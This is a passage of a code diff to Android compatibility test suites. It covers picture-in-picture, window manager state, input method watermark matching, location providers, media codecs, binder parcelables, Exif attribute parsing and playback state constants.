+import static android.server.wm.app.Components.PipActivity.EXTRA_IS_SEAMLESS_RESIZE_ENABLED;
import static android.server.wm.app.Components.PipActivity.EXTRA_TAP_TO_FINISH;
import static android.server.wm.app.Components.RESUME_WHILE_PAUSING_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY;
@@ -868,7 +869,7 @@
public void testConfigurationChangeOrderDuringTransition() throws Exception {
// Launch a PiP activity and ensure configuration change only happened once, and that the
// configuration change happened after the picture-in-picture and multi-window callbacks
- launchActivity(PIP_ACTIVITY);
+ launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
separateTestJournal();
int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
@@ -1270,6 +1271,42 @@
assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
}
+ @Test
+ public void testIsSeamlessResizeEnabledDefaultToTrue() {
+ // Launch the PIP activity with some random param without setting isSeamlessResizeEnabled
+ // so the PictureInPictureParams acquired from TaskInfo is not null
+ launchActivity(PIP_ACTIVITY,
+ extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(1)));
+ mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+
+ // Assert the default value of isSeamlessResizeEnabled is set to true.
+ assertIsSeamlessResizeEnabled(PIP_ACTIVITY, true);
+ }
+
+ @Test
+ public void testDisableIsSeamlessResizeEnabled() {
+ // Launch the PIP activity with overridden isSeamlessResizeEnabled param
+ launchActivity(PIP_ACTIVITY, extraBool(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, false));
+ mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+
+ // Assert the value of isSeamlessResizeEnabled is overridden.
+ assertIsSeamlessResizeEnabled(PIP_ACTIVITY, false);
+ }
+
+ private void assertIsSeamlessResizeEnabled(ComponentName componentName, boolean expected) {
+ runWithShellPermission(() -> {
+ final ActivityTask task = mWmState.getTaskByActivity(componentName);
+ final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
+ final PictureInPictureParams params = info.getPictureInPictureParams();
+
+ assertEquals(expected, params.isSeamlessResizeEnabled());
+ });
+ }
+
private void assertNumberOfActions(ComponentName componentName, int numberOfActions) {
runWithShellPermission(() -> {
final ActivityTask task = mWmState.getTaskByActivity(componentName);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 2dcf379..67e2404 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -1062,7 +1062,9 @@
mWmState.getRootTask(frontRootTaskId);
assertEquals(
"Resumed activity of front root task of the target display must match. " + message,
- activityClassName, frontRootTaskOnDisplay.mResumedActivity);
+ activityClassName,
+ frontRootTaskOnDisplay.isLeafTask() ? frontRootTaskOnDisplay.mResumedActivity
+ : frontRootTaskOnDisplay.getTopTask().mResumedActivity);
mWmState.assertFocusedStack("Top activity's rootTask must also be on top", frontRootTaskId);
mWmState.assertVisibility(activityName, true /* visible */);
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 1170608..bf36740 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -375,9 +375,7 @@
for (int i = 0; i < display.mRootTasks.size(); i++) {
ActivityTask task = display.mRootTasks.get(i);
mRootTasks.add(task);
- if (task.mResumedActivity != null) {
- mResumedActivitiesInStacks.add(task.mResumedActivity);
- }
+ addResumedActivity(task);
}
if (display.mDefaultPinnedStackBounds != null) {
@@ -386,6 +384,17 @@
}
}
+ private void addResumedActivity(ActivityTask task) {
+ final int numChildTasks = task.mTasks.size();
+ if (numChildTasks > 0) {
+ for (int i = numChildTasks - 1; i >=0; i--) {
+ addResumedActivity(task.mTasks.get(i));
+ }
+ } else if (task.mResumedActivity != null) {
+ mResumedActivitiesInStacks.add(task.mResumedActivity);
+ }
+ }
+
private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
reset();
@@ -1303,6 +1312,10 @@
return mTaskId == mRootTaskId;
}
+ boolean isLeafTask() {
+ return mTasks.size() == 0;
+ }
+
public int getRootTaskId() {
return mRootTaskId;
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 99f6bb2..2f809b2 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -295,6 +295,12 @@
}, windowName + "'s surface is disappeared");
}
+ void waitAndAssertWindowSurfaceShown(String windowName, boolean shown) {
+ assertTrue(
+ waitForWithAmState(state -> state.isWindowSurfaceShown(windowName) == shown,
+ windowName + "'s isWindowSurfaceShown to return " + shown));
+ }
+
/** A variant of waitForWithAmState with different parameter order for better Kotlin interop. */
public boolean waitForWithAmState(String message, Predicate<WindowManagerState> waitCondition) {
return waitForWithAmState(waitCondition, message);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index 144eee0..b1d8554 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -17,6 +17,7 @@
package com.android.cts.mockime;
import android.graphics.Bitmap;
+import android.graphics.Color;
import androidx.annotation.AnyThread;
import androidx.annotation.ColorInt;
@@ -28,6 +29,13 @@
*/
public final class Watermark {
/**
+ * Tolerance level between the expected color and the actual color in each color channel.
+ *
+ * <p>See Bug 174534092 about why we ended up having this.</p>
+ */
+ private static final int TOLERANCE = 4;
+
+ /**
* A utility class that represents A8R8G8B bitmap as an integer array.
*/
private static final class BitmapImage {
@@ -96,15 +104,30 @@
}
/**
- * Checks if the same image can be found in the specified {@link BitmapImage}
+ * Compares two given pixels to determine whether those two pixels are considered to be
+ * the same within {@link #TOLERANCE}.
+ *
+ * @param lhs a color integer to be compared.
+ * @param rhs another color integer to be compared.
+ * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+ */
+ private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+ return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+ && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+ && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+ }
+
+ /**
+ * Checks if the same image can be found in the specified {@link BitmapImage} within
+ * within {@link #TOLERANCE}.
*
* @param targetImage {@link BitmapImage} to be checked.
* @param offsetX X offset in the {@code targetImage} used when comparing.
* @param offsetY Y offset in the {@code targetImage} used when comparing.
- * @return
+ * @return {@true} if two given images are the same within {@link #TOLERANCE}.
*/
@AnyThread
- boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+ boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
final int targetWidth = targetImage.getWidth();
final int targetHeight = targetImage.getHeight();
@@ -118,7 +141,8 @@
if (targetY < 0 || targetHeight <= targetY) {
return false;
}
- if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+ if (!robustMatchInternal(
+ targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
return false;
}
}
@@ -231,7 +255,7 @@
// Search from the bottom line with an assumption that the IME is shown at the bottom.
for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
- if (sImage.match(targetImage, offsetX, offsetY)) {
+ if (sImage.robustMatch(targetImage, offsetX, offsetY)) {
return true;
}
}
diff --git a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
index 83350a9..05b7557 100644
--- a/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
+++ b/tests/location/location_coarse/src/android/location/cts/coarse/LocationManagerCoarseTest.java
@@ -239,7 +239,15 @@
@Test
public void testGetBestProvider() {
- // prevent network provider from matching
+ Criteria criteria = new Criteria();
+ criteria.setAccuracy(Criteria.ACCURACY_COARSE);
+ criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+
+ if (mManager.getProvider(FUSED_PROVIDER) != null) {
+ assertEquals(FUSED_PROVIDER, mManager.getBestProvider(criteria, false));
+ }
+
+ // prevent network + fused provider from matching
mManager.addTestProvider(NETWORK_PROVIDER,
true,
false,
@@ -250,10 +258,16 @@
false,
Criteria.POWER_HIGH,
Criteria.ACCURACY_COARSE);
-
- Criteria criteria = new Criteria();
- criteria.setAccuracy(Criteria.ACCURACY_COARSE);
- criteria.setPowerRequirement(Criteria.POWER_MEDIUM);
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_HIGH,
+ Criteria.ACCURACY_COARSE);
String bestProvider = mManager.getBestProvider(criteria, false);
assertEquals(TEST_PROVIDER, bestProvider);
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index 2aa7b15..0eb1690 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -1071,7 +1071,9 @@
Criteria criteria = new Criteria();
String bestProvider = mManager.getBestProvider(criteria, false);
- if (allProviders.contains(GPS_PROVIDER)) {
+ if (allProviders.contains(FUSED_PROVIDER)) {
+ assertThat(bestProvider).isEqualTo(FUSED_PROVIDER);
+ } else if (allProviders.contains(GPS_PROVIDER)) {
assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
} else if (allProviders.contains(NETWORK_PROVIDER)) {
assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
@@ -1091,6 +1093,16 @@
true,
Criteria.POWER_LOW,
Criteria.ACCURACY_FINE);
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_HIGH,
+ Criteria.ACCURACY_COARSE);
criteria.setAccuracy(Criteria.ACCURACY_FINE);
criteria.setPowerRequirement(Criteria.POWER_LOW);
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index 4f734c8..ad8bb0a 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -9,3 +9,7 @@
marcone@google.com
pawin@google.com
wonsik@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index d84e4d1..1f33f13 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -141,6 +141,7 @@
}
void CodecAsyncHandler::setOutputFormat(AMediaFormat* format) {
+ std::unique_lock<std::mutex> lock{mMutex};
assert(format != nullptr);
if (mOutFormat) {
AMediaFormat_delete(mOutFormat);
@@ -151,10 +152,12 @@
}
AMediaFormat* CodecAsyncHandler::getOutputFormat() {
+ std::unique_lock<std::mutex> lock{mMutex};
return mOutFormat;
}
bool CodecAsyncHandler::hasOutputFormatChanged() {
+ std::unique_lock<std::mutex> lock{mMutex};
return mSignalledOutFormatChanged;
}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index e346e2b..31ee648 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -455,6 +455,27 @@
EXPECT_EQ("say what?", *res);
}
+TEST_P(NdkBinderTest_Aidl, ParcelableOrder) {
+ RegularPolygon p1 = {"A", 1, 1.0f};
+
+ // tests on self
+ EXPECT_EQ(p1, p1);
+ EXPECT_LE(p1, p1);
+ EXPECT_GE(p1, p1);
+ EXPECT_FALSE(p1 < p1);
+ EXPECT_FALSE(p1 > p1);
+
+ RegularPolygon p2 = {"A", 2, 1.0f};
+ RegularPolygon p3 = {"B", 1, 1.0f};
+ for (const auto& bigger : {p2, p3}) {
+ EXPECT_FALSE(p1 == bigger);
+ EXPECT_LE(p1, bigger);
+ EXPECT_GE(bigger, p1);
+ EXPECT_LT(p1, bigger);
+ EXPECT_GT(bigger, p1);
+ }
+}
+
TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
RegularPolygon polygon;
@@ -530,28 +551,6 @@
EXPECT_EQ(15, retF);
}
-namespace aidl {
-namespace test_package {
-bool operator==(const SimpleUnion& lhs, const SimpleUnion& rhs) {
- if (lhs.getTag() != rhs.getTag()) return false;
- switch (lhs.getTag()) {
- case SimpleUnion::a:
- return lhs.get<SimpleUnion::a>() == rhs.get<SimpleUnion::a>();
- case SimpleUnion::b:
- return lhs.get<SimpleUnion::b>() == rhs.get<SimpleUnion::b>();
- case SimpleUnion::c:
- return lhs.get<SimpleUnion::c>() == rhs.get<SimpleUnion::c>();
- case SimpleUnion::d:
- return lhs.get<SimpleUnion::d>() == rhs.get<SimpleUnion::d>();
- case SimpleUnion::e:
- return lhs.get<SimpleUnion::e>() == rhs.get<SimpleUnion::e>();
- case SimpleUnion::f:
- return lhs.get<SimpleUnion::f>() == rhs.get<SimpleUnion::f>();
- }
-}
-} // namespace test_package
-} // namespace aidl
-
TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
Foo foo;
foo.a = "NEW FOO";
@@ -606,22 +605,6 @@
using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
std::vector<T>*, std::vector<T>*);
-namespace aidl {
-namespace test_package {
-inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
- return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
-}
-inline bool operator==(const std::vector<RegularPolygon>& lhs,
- const std::vector<RegularPolygon>& rhs) {
- if (lhs.size() != rhs.size()) return false;
- for (size_t i = 0; i < lhs.size(); i++) {
- if (!(lhs[i] == rhs[i])) return false;
- }
- return true;
-}
-} // namespace test_package
-} // namespace aidl
-
template <typename T>
void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
std::vector<std::vector<T>> tests) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index daeb4a4..30be8ef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -698,7 +698,6 @@
runOneSurfaceTest(api, (TestSurface surface) -> {
Display display = mDisplayManager.getDisplay(Display.DEFAULT_DISPLAY);
Display.Mode currentMode = display.getMode();
- float initialRefreshRate = currentMode.getRefreshRate();
if (shouldBeSeamless) {
// Seamless rates should be seamlessly achieved with no resolution changes.
@@ -717,7 +716,7 @@
surface.setFrameRate(0.f, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT,
/*shouldBeSeamless*/ true);
// Wait for potential mode switches
- verifyCompatibleAndStableFrameRate(initialRefreshRate, Arrays.asList(surface));
+ verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
currentMode = display.getMode();
// Seamed rates should never generate a seamed switch.
@@ -925,7 +924,6 @@
runOneSurfaceTest(api, (TestSurface surface) -> {
Display display = getDisplay();
Display.Mode currentMode = display.getMode();
- float initialRefreshRate = currentMode.getRefreshRate();
List<Float> frameRatesToTest = Floats.asList(currentMode.getAlternativeRefreshRates());
for (float frameRate : frameRatesToTest) {
@@ -943,7 +941,7 @@
/*shouldBeSeamless*/ false);
// Wait for potential mode switches.
- verifyCompatibleAndStableFrameRate(initialRefreshRate, Arrays.asList(surface));
+ verifyCompatibleAndStableFrameRate(0, Arrays.asList(surface));
currentMode = display.getMode();
List<Float> seamedRefreshRates = getSeamedRefreshRates(currentMode, display);
diff --git a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
index 3d4f6b6..ca97dbe 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ParcelableColorSpaceTest.java
@@ -127,11 +127,11 @@
}
@Test
- public void testIsColorSpace() {
+ public void testIsColorSpaceContainer() {
ColorSpace colorSpace = ColorSpace.get(ColorSpace.Named.BT2020);
ParcelableColorSpace parcelableColorSpace = new ParcelableColorSpace(colorSpace);
Bitmap bitmap = Bitmap.createBitmap(10, 10,
- Bitmap.Config.RGBA_F16, false, parcelableColorSpace);
+ Bitmap.Config.RGBA_F16, false, parcelableColorSpace.getColorSpace());
assertNotNull(bitmap);
ColorSpace bitmapColorSpace = bitmap.getColorSpace();
assertNotNull(bitmapColorSpace);
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index 2e23cff..905bff7 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -18,6 +18,10 @@
"src/android/media/cts/CodecImage.java",
"src/android/media/cts/YUVImage.java",
"src/android/media/cts/CodecUtils.java",
+ "src/android/media/cts/CodecState.java",
+ "src/android/media/cts/MediaCodecTunneledPlayer.java",
+ "src/android/media/cts/MediaTimeProvider.java",
+ "src/android/media/cts/NonBlockingAudioTrack.java",
],
sdk_version: "current",
}
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index e3d8ccc..4f5a2ef 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -12,3 +12,7 @@
jmtrivi@google.com
jsharkey@android.com
sungsoo@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 50c63f2..d31c2fa 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -56,6 +56,7 @@
import android.media.AudioDeviceAttributes;
import android.media.AudioDeviceInfo;
import android.media.AudioManager;
+import android.media.AudioProfile;
import android.media.MediaPlayer;
import android.media.MediaRecorder;
import android.media.MicrophoneInfo;
@@ -77,10 +78,14 @@
import com.android.internal.annotations.GuardedBy;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashMap;
+import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
@NonMediaMainlineTest
public class AudioManagerTest extends InstrumentationTestCase {
@@ -1780,6 +1785,37 @@
mAudioManager.removeOnPreferredDevicesForCapturePresetChangedListener(listener);
}
+ public void testGetDevices() {
+ AudioDeviceInfo[] devices = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+ for (AudioDeviceInfo device : devices) {
+ HashSet<Integer> formats = IntStream.of(device.getEncodings()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> channelMasks = IntStream.of(device.getChannelMasks()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> channelIndexMasks = IntStream.of(device.getChannelIndexMasks()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> sampleRates = IntStream.of(device.getSampleRates()).boxed()
+ .collect(Collectors.toCollection(HashSet::new));
+ HashSet<Integer> formatsFromProfile = new HashSet<>();
+ HashSet<Integer> channelMasksFromProfile = new HashSet<>();
+ HashSet<Integer> channelIndexMasksFromProfile = new HashSet<>();
+ HashSet<Integer> sampleRatesFromProfile = new HashSet<>();
+ for (AudioProfile profile : device.getAudioProfiles()) {
+ formatsFromProfile.add(profile.getFormat());
+ channelMasksFromProfile.addAll(Arrays.stream(profile.getChannelMasks()).boxed()
+ .collect(Collectors.toList()));
+ channelIndexMasksFromProfile.addAll(Arrays.stream(profile.getChannelIndexMasks())
+ .boxed().collect(Collectors.toList()));
+ sampleRatesFromProfile.addAll(Arrays.stream(profile.getSampleRates()).boxed()
+ .collect(Collectors.toList()));
+ }
+ assertEquals(formats, formatsFromProfile);
+ assertEquals(channelMasks, channelMasksFromProfile);
+ assertEquals(channelIndexMasks, channelIndexMasksFromProfile);
+ assertEquals(sampleRates, sampleRatesFromProfile);
+ }
+ }
+
private void assertStreamVolumeEquals(int stream, int expectedVolume) throws Exception {
assertStreamVolumeEquals(stream, expectedVolume,
"Unexpected stream volume for stream=" + stream);
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
index d836079..100e24e 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackOffloadTest.java
@@ -71,6 +71,34 @@
getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
}
+ public void testGetPlaybackOffloadSupportNullFormat() throws Exception {
+ try {
+ final int offloadMode = AudioManager.getPlaybackOffloadSupport(null,
+ DEFAULT_ATTR);
+ fail("Shouldn't be able to use null AudioFormat in getPlaybackOffloadSupport()");
+ } catch (NullPointerException e) {
+ // ok, NPE is expected here
+ }
+ }
+
+ public void testGetPlaybackOffloadSupportNullAttributes() throws Exception {
+ try {
+ final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), null);
+ fail("Shouldn't be able to use null AudioAttributes in getPlaybackOffloadSupport()");
+ } catch (NullPointerException e) {
+ // ok, NPE is expected here
+ }
+ }
+
+ public void testExerciseGetPlaybackOffloadSupport() throws Exception {
+ final int offloadMode = AudioManager.getPlaybackOffloadSupport(
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_MP3), DEFAULT_ATTR);
+ assertTrue("getPlaybackOffloadSupport returned invalid mode: " + offloadMode,
+ offloadMode == AudioManager.PLAYBACK_OFFLOAD_NOT_SUPPORTED
+ || offloadMode == AudioManager.PLAYBACK_OFFLOAD_SUPPORTED
+ || offloadMode == AudioManager.PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED);
+ }
public void testMP3AudioTrackOffload() throws Exception {
testAudioTrackOffload(R.raw.sine1khzs40dblong,
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 64d1254..c969515 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -79,7 +79,7 @@
private static final boolean DBG = false;
private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
- private static final long DEFAULT_WAIT_TIMEOUT_MS = 5000;
+ private static final long DEFAULT_WAIT_TIMEOUT_MS = 10000;
private static final long DEFAULT_WAIT_TIMEOUT_US = DEFAULT_WAIT_TIMEOUT_MS * 1000;
private static final int COLOR_RED = makeColor(100, 0, 0);
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 7b2f412..c67222e 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -16,6 +16,8 @@
package android.media.cts;
+import static android.media.ExifInterface.TAG_SUBJECT_AREA;
+
import android.content.res.TypedArray;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
@@ -840,11 +842,34 @@
String makeValueWithTwoSlashes = "Make/Test/Test";
exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
+ // When a value has a comma, it should be parsed as a string if any of the values before or
+ // after the comma is a string.
+ int defaultValue = -1;
+ String makeValueWithCommaType1 = "Make,2";
+ exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
+ assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
+ // Make sure that it's not stored as an integer value.
+ assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+ String makeValueWithCommaType2 = "2,Make";
+ exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
+ assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
+ // Make sure that it's not stored as an integer value.
+ assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
// 3. Unsigned short format tag
String isoSpeedRatings = "800";
exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
+ // When a value has multiple components, all of them should be of the format that the tag
+ // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
+ // only allows short values.
+ assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+ String invalidMultipleComponentsValueType1 = "1,65536";
+ exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
+ assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+ String invalidMultipleComponentsValueType2 = "65536,1";
+ exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
+ assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
// 4. Unsigned long format tag
String validImageWidthValue = "65536"; // max unsigned short value + 1
@@ -872,6 +897,46 @@
imageFile.delete();
}
+ public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
+ // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
+ File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+ File imageFile = clone(srcFile);
+
+ ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+ try {
+ exif.getAttribute(null);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
+
+ int defaultValue = -1;
+ try {
+ exif.getAttributeInt(null, defaultValue);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+ try {
+ exif.getAttributeDouble(null, defaultValue);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+ try {
+ exif.getAttributeBytes(null);
+ fail();
+ } catch (NullPointerException e) {
+ // expected
+ }
+ assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
+ }
+
private static File clone(File original) throws IOException {
final File cloned =
File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
index 8559570..54ae88b 100644
--- a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
+++ b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
@@ -250,6 +250,39 @@
parcel.recycle();
}
+ /**
+ * Tests that each ACTION_* constant does not overlap.
+ */
+ public void testActionConstantDoesNotOverlap() {
+ long[] actionConstants = new long[] {
+ PlaybackState.ACTION_STOP,
+ PlaybackState.ACTION_PAUSE,
+ PlaybackState.ACTION_PLAY,
+ PlaybackState.ACTION_REWIND,
+ PlaybackState.ACTION_SKIP_TO_PREVIOUS,
+ PlaybackState.ACTION_SKIP_TO_NEXT,
+ PlaybackState.ACTION_FAST_FORWARD,
+ PlaybackState.ACTION_SET_RATING,
+ PlaybackState.ACTION_SEEK_TO,
+ PlaybackState.ACTION_PLAY_PAUSE,
+ PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
+ PlaybackState.ACTION_PLAY_FROM_SEARCH,
+ PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
+ PlaybackState.ACTION_PLAY_FROM_URI,
+ PlaybackState.ACTION_PREPARE,
+ PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
+ PlaybackState.ACTION_PREPARE_FROM_SEARCH,
+ PlaybackState.ACTION_PREPARE_FROM_URI,
+ PlaybackState.ACTION_SET_PLAYBACK_SPEED};
+
+ // Check that the values are not overlapped.
+ for (int i = 0; i < actionConstants.length; i++) {
+ for (int j = i + 1; j < actionConstants.length; j++) {
+ assertEquals(0, actionConstants[i] & actionConstants[j]);
+ }
+ }
+ }
+
private void assertCustomActionEquals(PlaybackState.CustomAction action1,
PlaybackState.CustomAction action2) {
assertEquals(action1.getAction(), action2.getAction());
